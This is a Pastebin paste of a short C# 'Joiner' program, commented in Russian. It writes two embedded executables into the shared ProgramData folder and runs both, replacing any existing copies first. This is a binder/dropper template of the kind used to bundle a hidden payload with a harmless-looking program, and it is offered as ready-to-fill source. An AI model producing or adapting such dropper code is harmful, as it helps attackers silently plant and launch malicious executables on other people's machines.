Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- using System;
- using System.Collections.Generic;
- using System.Linq;
- using System.Threading.Tasks;
- using System.Diagnostics;
- using System.IO;
- using NameProject.Properties;
- namespace Joiner /// Имя проекта
- {
- static class Program
- {
- [STAThread]
- static void Main()
- {
- string fil1 = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\P1.exe"; /// Программа №1
- string fil2 = Environment.GetFolderPath(Environment.SpecialFolder.CommonApplicationData) + "\\P2.exe"; /// Программа №2
- if (!File.Exists(fil1))
- {
- File.WriteAllBytes(fil1, Resources.P1); /// Имя 1-й программы (У меня P1)
- Process.Start(fil1);
- }
- else
- {
- File.Delete(fil1);
- File.WriteAllBytes(fil1, Resources.P1); /// Имя 1-й программы (У меня P1)
- Process.Start(fil1);
- }
- if (!File.Exists(fil2))
- {
- File.WriteAllBytes(fil2, Resources.P2); /// Имя 2-й программы (У меня P2)
- Process.Start(fil2);
- }
- else
- {
- File.Delete(fil2);
- File.WriteAllBytes(fil2, Resources.P2); /// Имя 2-й программы (У меня P2)
- Process.Start(fil2);
- }
- }
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement